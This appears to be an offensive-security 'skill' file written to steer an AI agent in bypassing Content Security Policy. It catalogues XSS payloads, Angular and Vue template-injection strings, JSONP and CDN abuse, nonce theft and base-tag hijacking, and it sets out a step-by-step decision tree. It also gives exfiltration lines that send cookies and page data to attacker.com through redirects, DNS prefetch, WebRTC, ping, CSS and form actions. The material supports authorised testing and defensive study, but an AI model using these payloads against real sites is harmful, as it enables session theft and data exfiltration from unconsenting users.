csp-bypass-advanced

---

name: csp-bypass-advanced description: >- Advanced Content Security Policy bypass techniques. Use when XSS or data exfiltration is blocked by CSP and you need to find policy weaknesses, trusted endpoint abuse, nonce leakage, or exfiltration channels that CSP cannot block.

SKILL: CSP Bypass — Advanced Techniques

AI LOAD INSTRUCTION: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggest unsafe-inline bypass without checking if the CSP actually uses it, or miss the critical base-uri and object-src gaps.

0. RELATED ROUTING

• xss-cross-site-scripting for XSS vectors to deliver after CSP bypass
• dangling-markup-injection when CSP blocks scripts but HTML injection exists — exfiltrate without JS
• crlf-injection when CRLF can inject CSP header or steal nonce via response splitting
• waf-bypass-techniques when both WAF and CSP must be bypassed
• clickjacking when CSP lacks frame-ancestors — clickjacking still possible

---

1. CSP DIRECTIVE REFERENCE MATRIX

Directive	Controls	Default Fallback
default-src	Fallback for all -src directives not explicitly set	None (browser default: allow all)
script-src	JavaScript execution	default-src
style-src	CSS loading	default-src
img-src	Image loading	default-src
connect-src	XHR, fetch, WebSocket, EventSource	default-src
frame-src	iframe/frame sources	default-src
font-src	Font loading	default-src
object-src	<object>, <embed>, <applet>	default-src
media-src	<audio>, <video>	default-src
base-uri	<base> element	No fallback — unrestricted if absent
form-action	Form submission targets	No fallback — unrestricted if absent
frame-ancestors	Who can embed this page (replaces X-Frame-Options)	No fallback — unrestricted if absent
report-uri / report-to	Where violation reports are sent	N/A
navigate-to	Navigation targets (limited browser support)	No fallback

Critical insight: base-uri, form-action, and frame-ancestors do NOT fall back to default-src. Their absence is always a potential bypass vector.

---

2. BYPASS TECHNIQUES BY DIRECTIVE

2.1 script-src 'self'

The app only allows scripts from its own origin. Bypass vectors:

Vector	Technique
JSONP endpoints	<script src="/api/jsonp?callback=alert(1)//"></script> — JSONP reflects callback as JS
Uploaded JS files	Upload .js file (e.g., avatar upload accepts any extension) → <script src="/uploads/evil.js"></script>
DOM XSS sinks	Find DOM sinks (innerHTML, eval, document.write) in existing same-origin JS — inject via URL fragment/param
Angular/Vue template injection	If framework is loaded from 'self', inject template expressions: {{constructor.constructor('alert(1)')()}}
Service Worker	Register SW from same origin → intercept and modify responses
Path confusion	<script src="/user-content/;/legit.js"> — server returns user content due to path parsing, but URL matches 'self'

2.2 script-src with CDN Whitelist

script-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net

Whitelisted CDN	Bypass
cdnjs.cloudflare.com	Host arbitrary JS via CDNJS (find lib with callback/eval): angular.js → template injection
cdn.jsdelivr.net	jsdelivr serves any npm package or GitHub file: cdn.jsdelivr.net/npm/attacker-package@1.0.0/evil.js
*.googleapis.com	Google JSONP endpoints, Google Maps callback parameter
unpkg.com	Same as jsdelivr — serves arbitrary npm packages
*.cloudfront.net	CloudFront distributions are shared — any CF customer's JS is allowed

Trick: Search for JSONP endpoints on whitelisted domains: site:googleapis.com inurl:callback

2.3 script-src 'unsafe-eval'

eval(), Function(), setTimeout(string), setInterval(string) all permitted.

// Template injection → RCE-equivalent in browser
[].constructor.constructor('alert(document.cookie)')()

// JSON.parse doesn't execute code, but if result is used in eval context:
// App does: eval('var x = ' + JSON.parse(userInput))

2.4 script-src 'nonce-xxx'

Only scripts with matching nonce attribute execute.

Bypass	Condition
Nonce reuse	Server uses same nonce across requests or for all users → predictable
Nonce injection via CRLF	CRLF in response header → inject new CSP header with known nonce, or inject <script nonce="known">
Dangling markup to steal nonce	<img src="https://attacker.com/steal? (unclosed) → page content including nonce leaks as URL parameter
DOM clobbering	Overwrite nonce-checking code via DOM clobbering: <form id="nonce"><input id="nonce" value="attacker-controlled">
Script gadgets	Trusted nonced script uses DOM data to create new script elements — inject that DOM data

2.5 script-src 'strict-dynamic'

Trust propagation: any script created by an already-trusted script is also trusted, regardless of source.

Bypass	Technique
base-uri injection	<base href="https://attacker.com/"> → relative script src resolves to attacker domain. Trusted parent script loads ./lib.js which now points to https://attacker.com/lib.js
Script gadget in trusted code	Find trusted script that does document.createElement('script'); s.src = location.hash.slice(1) → control via URL fragment
DOM XSS in trusted script	Trusted script reads innerHTML from user-controlled source → injected <script> is trusted via strict-dynamic

2.6 Angular / Vue CSP Bypass

Angular (with CSP):

<!-- Angular template expression bypasses script-src when angular.js is whitelisted -->
<div ng-app ng-csp>
  {{$eval.constructor('alert(1)')()}}
</div>

<!-- Angular >= 1.6 sandbox removed, so simpler: -->
{{constructor.constructor('alert(1)')()}}

Vue.js:

<!-- Vue 2 with runtime compiler -->
<div id=app>{{_c.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-cdn/vue.js"></script>
<script>new Vue({el:'#app'})</script>

2.7 Missing object-src

If object-src is not set (falls back to default-src), and default-src allows some origins:

<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) -->
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
  <param name="AllowScriptAccess" value="always">
</object>

<!-- PDF plugin abuse -->
<embed src="/user-upload/evil.pdf" type="application/pdf">

2.8 Missing base-uri

<!-- Inject base tag → all relative URLs resolve to attacker -->
<base href="https://attacker.com/">

<!-- Existing script: <script src="/js/app.js"> -->
<!-- Now loads: https://attacker.com/js/app.js -->

This bypasses 'nonce-xxx', 'strict-dynamic', and script-src 'self' for relative script paths.

2.9 Missing frame-ancestors

CSP without frame-ancestors → page can be framed → clickjacking possible.

X-Frame-Options header is overridden by frame-ancestors if CSP is present. But if CSP exists without frame-ancestors, some browsers ignore XFO entirely.

---

3. CSP IN META TAG vs. HEADER

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Meta tag limitations:

• Cannot set frame-ancestors (ignored in meta)
• Cannot set report-uri / report-to
• Cannot set sandbox
• If injected via HTML injection before the meta tag in DOM order, attacker's meta CSP may be processed first (browser uses first encountered)
• If page has both header CSP and meta CSP, both apply (most restrictive wins)

---

4. DATA EXFILTRATION DESPITE CSP

When connect-src, img-src, etc. are locked down, alternative exfiltration channels:

Channel	CSP Directive Needed to Block	Technique
DNS prefetch	None (CSP cannot block DNS)	<link rel="dns-prefetch" href="//data.attacker.com">
WebRTC	None (CSP cannot block)	new RTCPeerConnection({iceServers:[{urls:'stun:attacker.com'}]})
<link rel=prefetch>	default-src or connect-src	Often missed in CSP
Redirect-based	navigate-to (rarely set)	location='https://attacker.com/?'+document.cookie
CSS injection	style-src	<style>body{background:url(https://attacker.com/?data)}</style>
<a ping>	connect-src	<a ping="https://attacker.com/collect" href="#">click</a>
report-uri leak	N/A	Trigger CSP violation → report contains blocked-uri with data
Form submission	form-action	<form action="https://attacker.com/"><button>Submit</button></form>

DNS-based exfiltration is nearly impossible to block with CSP — this is the most reliable channel.

---

5. CSP BYPASS DECISION TREE

CSP present?
├── Read full policy (response headers + meta tags)
│
├── Check for obvious weaknesses
│   ├── 'unsafe-inline' in script-src? → Standard XSS works
│   ├── 'unsafe-eval' in script-src? → eval/Function/setTimeout bypass
│   ├── * or data: in script-src? → <script src="data:,alert(1)">
│   └── No CSP header at all on some pages? → Find CSP-free page
│
├── Check missing directives
│   ├── No base-uri? → <base href="https://attacker.com/"> → hijack relative scripts
│   ├── No object-src? → Flash/plugin-based bypass (legacy)
│   ├── No form-action? → Exfil via form submission
│   ├── No frame-ancestors? → Clickjacking possible
│   └── No connect-src falling back to lax default-src? → fetch/XHR exfil
│
├── script-src 'self'?
│   ├── Find JSONP endpoints on same origin
│   ├── Find file upload → upload .js file
│   ├── Find DOM XSS in existing same-origin scripts
│   └── Find Angular/Vue loaded from self → template injection
│
├── script-src with CDN whitelist?
│   ├── Check CDN for JSONP endpoints
│   ├── Check jsdelivr/unpkg/cdnjs → load attacker-controlled package
│   └── Check *.cloudfront.net → shared distribution namespace
│
├── script-src 'nonce-xxx'?
│   ├── Nonce reused across requests? → Replay
│   ├── CRLF injection available? → Inject nonce
│   ├── Dangling markup to steal nonce
│   └── Script gadget in trusted scripts
│
├── script-src 'strict-dynamic'?
│   ├── base-uri not set? → <base> hijack
│   ├── DOM XSS in trusted script? → Inherit trust
│   └── Script gadget creating dynamic scripts from DOM data
│
└── All script execution blocked?
    ├── Dangling markup injection → exfil without JS (see ../dangling-markup-injection/SKILL.md)
    ├── DNS prefetch exfiltration
    ├── WebRTC exfiltration
    ├── CSS injection for data extraction
    └── Form action exfiltration

---

6. TRICK NOTES — WHAT AI MODELS MISS

1. default-src 'self' does NOT restrict base-uri or form-action — these have no fallback. This is the #1 CSP mistake.
2. strict-dynamic ignores whitelist: When strict-dynamic is present, host-based allowlists and 'self' are ignored for script loading. Only nonce/hash and trust propagation matter.
3. Multiple CSPs stack: If both Content-Security-Policy header and <meta> CSP exist, the browser enforces BOTH — the effective policy is the intersection (most restrictive).
4. Content-Security-Policy-Report-Only does not enforce — it only reports. Check for the correct header name.
5. Nonce length matters: Nonces should be ≥128 bits of entropy. Short or predictable nonces can be brute-forced or guessed.
6. Report-uri information disclosure: CSP violation reports sent to report-uri contain blocked-uri, source-file, line-number — this can leak internal URLs, script paths, and page structure to whoever controls the report endpoint.
7. data: in script-src: script-src 'self' data: allows <script src="data:text/javascript,alert(1)"> — trivial bypass, but commonly seen in real-world CSPs.